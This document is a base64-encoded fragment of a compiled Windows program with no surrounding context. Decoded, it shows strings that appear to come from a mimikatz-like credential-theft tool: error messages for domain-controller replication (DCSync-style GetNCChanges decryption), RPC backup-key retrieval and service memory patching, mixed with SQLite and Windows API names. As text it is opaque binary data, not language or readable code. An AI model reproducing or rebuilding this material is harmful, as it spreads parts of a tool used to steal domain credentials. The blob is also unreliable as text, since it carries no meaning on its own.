UAcgB0AGkAZQBzACAAIAAgACAAOgAKAAAAAAAAACUAKgBzACAAIABwAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAIAAgACAAIAAgADoACgAAAAAAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAHQAcgB1AGMAdABMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAdAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBOAGEAbQBlAEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFAAcgBvAHAAZQByAHQAeQBMAGUAbgAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAA6ACAAAAAlAHUAIABmAGkAZQBsAGQAKABzACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBuAGUAdABfAGcAZQB0AEQAQwAgADsAIABEAHMARwBlAHQARABjAE4AYQBtAGUAOgAgACUAdQAKAAAAYQAAACIAJQBzACIAIABzAGUAcgB2AGkAYwBlACAAcABhAHQAYwBoAGUAZAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABLAE8ACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8ATwBwAGUAbgBBAG4AZABRAHUAZQByAHkAVwBpAHQAaABBAGwAbABvAGMAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEsATwAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBPAHAAZQBuAEEAbgBkAFEAdQBlAHIAeQBXAGkAdABoAEEAbABsAG8AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABSAHQAbABDAHIAZQBhAHQAZQBVAHMAZQByAFQAaAByAGUAYQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBhAGwAbABvAGMAIAAvACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABFAHgAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAA7ACAATgBvACAAYgB1AGYAZgBlAHIAIAA/AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AE8AcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AEEAdQB0AGgASQBuAGYAbwBFAHgAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABOAG8AIABCAGkAbgBkAGkAbgBnACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwBDAG8AbQBwAG8AcwBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAUAByAG8AdABlAGMAdABlAGQAUwB0AG8AcgBhAGcAZQAAAAAAAAAAAFwAcABpAHAAZQBcAHAAcgBvAHQAZQBjAHQAZQBkAF8AcwB0AG8AcgBhAGcAZQAAAG4AYwBhAGMAbgBfAG4AcAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABCAGEAYwBrAHUAcAByAEsAZQB5ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYgBrAHIAcABfAGcAZQBuAGUAcgBpAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFIAcABjAFMAZQBjAHUAcgBpAHQAeQBDAGEAbABsAGIAYQBjAGsAIAA7ACAASQBfAFIAcABjAEIAaQBuAGQAaQBuAGcASQBuAHEAUwBlAGMAdQByAGkAdAB5AEMAbwBuAHQAZQB4AHQAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIABEAEMAIAAnACUAcwAnACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQAIAAoACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0ACAAUwBpAHoAZQAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAATgBvACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAATgBPAF8ARQBSAFIATwBSAAAAAAAAAAAARQBSAFIATwBSAF8AUgBFAFMATwBMAFYASQBOAEcAAABFAFIAUgBPAFIAXwBOAE8AVABfAEYATwBVAE4ARAAAAEUAUgBSAE8AUgBfAE4ATwBUAF8AVQBOAEkAUQBVAEUAAAAAAAAAAABFAFIAUgBPAFIAXwBOAE8AXwBNAEEAUABQAEkATgBHAAAAAAAAAAAARQBSAFIATwBSAF8ARABPAE0AQQBJAE4AXwBPAE4ATABZAAAAAAAAAEUAUgBSAE8AUgBfAE4ATwBfAFMAWQBOAFQAQQBDAFQASQBDAEEATABfAE0AQQBQAFAASQBOAEcAAAAAAAAAAABFAFIAUgBPAFIAXwBUAFIAVQBTAFQAXwBSAEUARgBFAFIAUgBBAEwAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAIAAoAG4AYQBtAGUAIABzAHQAYQB0AHUAcwApADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkAIAAtACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzADoAIABuAG8AIABpAHQAZQBtACEACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAaABlAGMAawBzAHUAbQBzACAAZABvAG4AJwB0ACAAbQBhAHQAYwBoACAAKABDADoAMAB4ACUAMAA4AHgAIAAtACAAUgA6ADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAYQBsAGMAdQBsAGEAdABlACAAQwBSAEMAMwAyAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEMAUgBBAEMASwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAG4AYQBtAGUAQwByAGEAYwBrAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBEAEMASQBOAEYATwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBEAEMASQBOAEYATwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAYwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABTAGUAcgB2AGkAYwBlAHMAQQBjAHQAaQB2AGUAAAAAACUAdwBaAAAAJQAwADIAeAAAAAAAAAAAACUAMAAyAHgAIAAAAAAAAAAwAHgAJQAwADIAeAAsACAAAAAAAAAAAABcAHgAJQAwADIAeAAAAAAACgBCAFkAVABFACAAZABhAHQAYQBbAF0AIAA9ACAAewAKAAkAAAAAAAkAAAAAAAAACgB9ADsACgAAAAAAAAAAACUAcwAgAAAAJQBzAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABVAHMAZQByAAAAAAAAAAAARwByAG8AdQBwAAAAAAAAAEQAbwBtAGEAaQBuAAAAAABBAGwAaQBhAHMAAAAAAAAAVwBlAGwAbABLAG4AbwB3AG4ARwByAG8AdQBwAAAAAABEAGUAbABlAHQAZQBkAEEAYwBjAG8AdQBuAHQAAAAAAEkAbgB2AGEAbABpAGQAAABVAG4AawBuAG8AdwBuAAAAQwBvAG0AcAB1AHQAZQByAAAAAAAAAAAATABhAGIAZQBsAAAAAAAAAHUAbgBrACEAAAAAAAAAAABUAG8AawBlAG4AAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwB4AG0AbABfAEMAcgBlAGEAdABlAEEAbgBkAEkAbgBpAHQARABPAE0AIAA7ACAAQwBvAEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHgAbQBsAF8ATABvAGEAZABYAE0ATABGAGkAbABlACAAOwAgAEkAWABNAEwARABPAE0ARABvAGMAdQBtAGUAbgB0AF8AbABvAGEAZAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAMAAAADEAAAAAAAAAJUg6JU06JVMAAAAAAAAAAGN1cnJlbnRfdGltZQAAAAAlWS0lbS0lZAAAAAAAAAAAY3VycmVudF9kYXRlAAAAACVZLSVtLSVkICVIOiVNOiVTAAAAAAAAAGN1cnJlbnRfdGltZXN0YW1wAAAAAAAAAGZhaWxlZCB0byBhbGxvY2F0ZSAldSBieXRlcyBvZiBtZW1vcnkAAABmYWlsZWQgbWVtb3J5IHJlc2l6ZSAldSB0byAldSBieXRlcwAlAAAATlVMTAAAAAAoTlVMTCkAAC4AAAAAAAAAOTIyMzM3MjAzNjg1NDc3NTgwAAAAAAAAQVBJIGNhbGwgd2l0aCAlcyBkYXRhYmFzZSBjb25uZWN0aW9uIHBvaW50ZXIAAAAAdW5vcGVuZWQAAAAAAAAAAGludmFsaWQAQXJlRmlsZUFwaXNBTlNJAENoYXJMb3dlclcAAAAAAABDaGFyVXBwZXJXAAAAAAAAQ2xvc2VIYW5kbGUAAAAAAENyZWF0ZUZpbGVBAAAAAABDcmVhdGVGaWxlVwAAAAAAQ3JlYXRlRmlsZU1hcHBpbmdBAAAAAAAAQ3JlYXRlRmlsZU1hcHBpbmdXAAAAAAAAQ3JlYXRlTXV0ZXhXAAAAAERlbGV0ZUZpbGVBAAAAAABEZWxldGVGaWxlVwAAAAAARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUARmlsZVRpbWVUb1N5c3RlbVRpbWUAAAAARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAARm9ybWF0TWVzc2FnZUEAAEZvcm1hdE1lc3NhZ2VXAABGcmVlTGlicmFyeQAAAAAAR2V0Q3VycmVudFByb2Nlc3NJZAAAAAAAR2V0RGlza0ZyZWVTcGFjZUEAAAAAAAAAR2V0RGlza0ZyZWVTcGFjZVcAAAAAAAAAR2V0RmlsZUF0dHJpYnV0ZXNBAAAAAAAAR2V0RmlsZUF0dHJpYnV0ZXNXAAAAAAAAR2V0RmlsZUF0dHJpYnV0ZXNFeFcAAAAAR2V0RmlsZVNpemUAAAAAAEdldEZ1bGxQYXRoTmFtZUEAAAAAAAAAAEdldEZ1bGxQYXRoTmFtZVcAAAAAAAAAAEdldExhc3RFcnJvcgAAAABHZXRQcm9jQWRkcmVzc0EAR2V0U3lzdGVtSW5mbwAAAEdldFN5c3RlbVRpbWUAAABHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBHZXRUZW1wUGF0aEEAAAAAR2V0VGVtcFBhdGhXAAAAAEdldFRpY2tDb3VudAAAAABHZXRWZXJzaW9uRXhBAAAAR2V0VmVyc2lvbkV4VwAAAEhlYXBBbGxvYwAAAAAAAABIZWFwQ3JlYXRlAAAAAAAASGVhcERlc3Ryb3kAAAAAAEhlYXBGcmVlAAAAAAAAAABIZWFwUmVBbGxvYwAAAAAASGVhcFNpemUAAAAAAAAAAEhlYXBWYWxpZGF0ZQAAAABIZWFwQ29tcGFjdAAAAAAATG9hZExpYnJhcnlBAAAAAExvYWRMaWJyYXJ5VwAAAABMb2NhbEZyZWUAAAAAAAAATG9ja0ZpbGUAAAAAAAAAAExvY2tGaWxlRXgAAAAAAABNYXBWaWV3T2ZGaWxlAAAATXVsdGlCeXRlVG9XaWRlQ2hhcgAAAAAAUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAUmVhZEZpbGUAAAAAAAAAAFNldEVuZE9mRmlsZQAAAABTZXRGaWxlUG9pbnRlcgAAU2xlZXAAAABTeXN0ZW1UaW1lVG9GaWxlVGltZQAAAABVbmxvY2tGaWxlAAAAAAAAVW5sb2NrRmlsZUV4AAAAAFVubWFwVmlld09mRmlsZQBXaWRlQ2hhclRvTXVsdGlCeXRlAAAAAABXcml0ZUZpbGUAAAAAAAAAQ3JlYXRlRXZlbnRFeFcAAFdhaXRGb3JTaW5nbGVPYmplY3QAAAAAAFdhaXRGb3JTaW5nbGVPYmplY3RFeAAAAFNldEZpbGVQb2ludGVyRXgAAAAAAAAAAEdldEZpbGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXgAAAAATWFwVmlld09mRmlsZUZyb21BcHAAAAAAQ3JlYXRlRmlsZTIAAAAAAExvYWRQYWNrYWdlZExpYnJhcnkAAAAAAEdldFRpY2tDb3VudDY0AABHZXROYXRpdmVTeXN0ZW1JbmZvAAAAAABPdXRwdXREZWJ1Z1N0cmluZ0EAAAAAAABPdXRwdXREZWJ1Z1N0cmluZ1cAAAAAAABHZXRQcm9jZXNzSGVhcAAAQ3JlYXRlRmlsZU1hcHBpbmdGcm9tQXBwAAAAAAAAAABJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAAAAAAAFV1aWRDcmVhdGUAAAAAAABVdWlkQ3JlYXRlU2VxdWVudGlhbAAAAABGbHVzaFZpZXdPZkZpbGUAT3NFcnJvciAweCVseCAoJWx1KQAlcwAAb3Nfd2luLmM6JWQ6ICglbHUpICVzKCVzKSAtICVzAABkZWxheWVkICVkbXMgZm9yIGxvY2svc2hhcmluZyBjb25mbGljdCBhdCBsaW5lICVkAAAAAAAAAHdpblNlZWtGaWxlAAAAAAB3aW5DbG9zZQAAAAAAAAAAd2luUmVhZAB3aW5Xcml0ZTEAAAAAAAAAd2luV3JpdGUyAAAAAAAAAHdpblRydW5jYXRlMQAAAAB3aW5UcnVuY2F0ZTIAAAAAd2luU3luYzEAAAAAAAAAAHdpblN5bmMyAAAAAAAAAAB3aW5GaWxlU2l6ZQAAAAAAd2luVW5sb2NrUmVhZExvY2sAAAAAAAAAd2luVW5sb2NrAAAA